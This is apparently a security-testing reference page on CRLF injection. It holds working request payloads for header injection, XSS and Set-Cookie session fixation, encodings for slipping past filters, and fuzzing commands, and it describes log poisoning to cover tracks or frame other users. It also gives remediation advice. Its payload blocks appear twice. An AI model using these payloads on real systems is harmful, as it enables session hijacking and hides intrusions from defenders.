CRLF Injection
CRLF (Carriage Return Line Feed) injection occurs when an attacker can inject \r\n characters into HTTP headers, enabling HTTP response splitting, header injection, session fixation via Set-Cookie, XSS through injected headers, and log poisoning.
Warning
Tools
Burp Suite
Manual testing curl
Built-in HTTP Response Splitting
If user input is reflected in HTTP response headers without sanitizing CRLF characters, the attacker can inject arbitrary headers or even a full second HTTP response:
# Basic CRLF injection in a redirect:
GET /redirect?url=https://target.com%0d%0aInjected-Header:%20true HTTP/1.1
# Response:
HTTP/1.1 302 Found
Location: https://target.com
Injected-Header: true
# XSS via CRLF - inject Content-Type and body:
GET /redirect?url=https://target.com%0d%0a%0d%0a<script>alert(document.domain)</script> HTTP/1.1
# Response:
HTTP/1.1 302 Found
Location: https://target.com
<script>alert(document.domain)</script>
# Session fixation via Set-Cookie injection:
GET /page?lang=en%0d%0aSet-Cookie:%20session=attacker_session HTTP/1.1
# Response:
HTTP/1.1 200 OK
Content-Language: en
Set-Cookie: session=attacker_session# Basic CRLF injection in a redirect:
GET /redirect?url=https://target.com%0d%0aInjected-Header:%20true HTTP/1.1
# Response:
HTTP/1.1 302 Found
Location: https://target.com
Injected-Header: true
# XSS via CRLF - inject Content-Type and body:
GET /redirect?url=https://target.com%0d%0a%0d%0a<script>alert(document.domain)</script> HTTP/1.1
# Response:
HTTP/1.1 302 Found
Location: https://target.com
<script>alert(document.domain)</script>
# Session fixation via Set-Cookie injection:
GET /page?lang=en%0d%0aSet-Cookie:%20session=attacker_session HTTP/1.1
# Response:
HTTP/1.1 200 OK
Content-Language: en
Set-Cookie: session=attacker_sessionEncoding Variants
# Different CRLF encodings to bypass filters:
%0d%0a # Standard URL-encoded CRLF
%0D%0A # Uppercase
%0d%0a%0d%0a # Double CRLF (start response body)
%E5%98%8A%E5%98%8D # Unicode CRLF (UTF-8 encoding)
%0a # LF only (works on some servers)
%0d # CR only
\r\n # Literal (in JSON/API contexts)
\u000d\u000a # Unicode escape
%00%0d%0a # Null byte prefix
# Double-encoding:
%250d%250a
# Test with crlfuzz:
crlfuzz -u "https://target.com/redirect?url=FUZZ" -o results.txt
# Bulk scan with CRLFsuite:
crlfsuite -u "https://target.com/redirect?url=" -o output.json# Different CRLF encodings to bypass filters:
%0d%0a # Standard URL-encoded CRLF
%0D%0A # Uppercase
%0d%0a%0d%0a # Double CRLF (start response body)
%E5%98%8A%E5%98%8D # Unicode CRLF (UTF-8 encoding)
%0a # LF only (works on some servers)
%0d # CR only
\r\n # Literal (in JSON/API contexts)
\u000d\u000a # Unicode escape
%00%0d%0a # Null byte prefix
# Double-encoding:
%250d%250a
# Test with crlfuzz:
crlfuzz -u "https://target.com/redirect?url=FUZZ" -o results.txt
# Bulk scan with CRLFsuite:
crlfsuite -u "https://target.com/redirect?url=" -o output.jsonLog Poisoning via CRLF
# Inject fake log entries via CRLF in logged parameters:
# If the application logs User-Agent or request params:
GET /page HTTP/1.1
User-Agent: normal-browser%0d%0a127.0.0.1 - admin [date] "GET /admin HTTP/1.1" 200
# This creates a fake log entry appearing to be from localhost
# Can be used to:
# - Cover tracks (inject successful 200 responses over 403 failures)
# - Frame other users (inject entries with different IPs)
# - Bypass log analysis tools
# - Inject malicious payloads processed by log aggregators (Log4Shell style)# Inject fake log entries via CRLF in logged parameters:
# If the application logs User-Agent or request params:
GET /page HTTP/1.1
User-Agent: normal-browser%0d%0a127.0.0.1 - admin [date] "GET /admin HTTP/1.1" 200
# This creates a fake log entry appearing to be from localhost
# Can be used to:
# - Cover tracks (inject successful 200 responses over 403 failures)
# - Frame other users (inject entries with different IPs)
# - Bypass log analysis tools
# - Inject malicious payloads processed by log aggregators (Log4Shell style)Testing Methodology
- 1. Identify all parameters reflected in response headers (Location, Set-Cookie, custom headers)
- 2. Test basic %0d%0a injection — does a new header appear in the response?
- 3. Try encoding variants if basic CRLF is filtered
- 4. Test double CRLF (%0d%0a%0d%0a) for response body injection (XSS)
- 5. Test Set-Cookie injection for session fixation
- 6. Check if CRLF-injected responses are cached (cache poisoning)
- 7. Test log files for CRLF poisoning in User-Agent and Referer
Evidence Collection
Request/Response: Burp capture showing CRLF payload and injected header in response
Impact Demo: Screenshot of XSS alert or Set-Cookie injection
CVSS Range: Header injection: 4.3–6.1 | XSS via CRLF: 6.1–7.5 | Session fixation: 7.5–8.0
Remediation
- Strip CRLF characters: Remove \r and \n from all user input before placing in HTTP headers.
- Use framework header APIs: Modern frameworks (Django, Express, Spring) automatically encode header values.
- Validate redirect URLs: Use allowlists for redirect destinations rather than user-supplied values.
- URL-encode output: When reflecting user input in headers, URL-encode special characters.
False Positive Identification
- URL-encoded vs. literal CRLF: If %0d%0a appears in the response body as literal text (not interpreted), there's no injection — confirm the CRLF creates actual new headers.
- Framework-level protection: Modern frameworks (Django, Rails, Express) auto-strip CRLF from header values — verify in the raw HTTP response, not just the rendered page.
- Proxy normalization: Some reverse proxies normalize headers, preventing CRLF from reaching the client — test direct-to-origin if possible.